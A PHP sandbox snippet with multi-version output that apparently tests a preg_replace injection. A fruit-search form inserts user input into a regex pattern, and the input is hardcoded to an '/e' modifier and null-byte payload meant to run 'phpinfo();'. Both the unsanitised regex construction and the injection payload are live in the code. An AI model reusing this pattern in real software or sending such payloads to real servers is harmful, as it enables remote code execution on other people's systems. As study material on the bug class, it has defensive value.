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<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> <?php $_GET['search'] = "apple/e".chr(0)."phpinfo();"; if (isset($_GET['search'])){ $search = htmlentities($_GET['search']); if (strpos($search, 'apple') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); }elseif (strpos($search, 'orange') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange"); }elseif (strpos($search, 'banana') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana"); }elseif (strpos($search, 'kiwi') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi"); }else echo "Please search for apple, orange, banana, or kiwi."; } ?>
Output for 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> Warning: preg_replace(): NUL is not a valid modifier in /in/v8tms on line 11
Output for 5.4.7 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28
<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> Warning: preg_replace(): Null byte in regex in /in/v8tms on line 11
Output for 5.4.0 - 5.4.6
<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> Warning: Unexpected character in input: ' in /in/v8tms(11) : regexp code on line 1 Parse error: syntax error, unexpected 'phpinfo' (T_STRING) in /in/v8tms(11) : regexp code on line 1 Fatal error: preg_replace(): Failed evaluating code: apple/e in /in/v8tms on line 11
Process exited with code 255.
Output for 5.3.0 - 5.3.29
<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> Warning: Unexpected character in input: ' in /in/v8tms(11) : regexp code on line 1 Parse error: syntax error, unexpected T_STRING in /in/v8tms(11) : regexp code on line 1 Fatal error: preg_replace(): Failed evaluating code: apple/e in /in/v8tms on line 11
Process exited with code 255.
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
<form action="" method="GET"> <input type="text" name="search"> <input type="submit" name="submit" value="Search"> </form><br /> Notice: Use of undefined constant apple - assumed 'apple' in /in/v8tms(11) : regexp code on line 1 Notice: Use of undefined constant e - assumed 'e' in /in/v8tms(11) : regexp code on line 1 Warning: Division by zero in /in/v8tms(11) : regexp code on line 1

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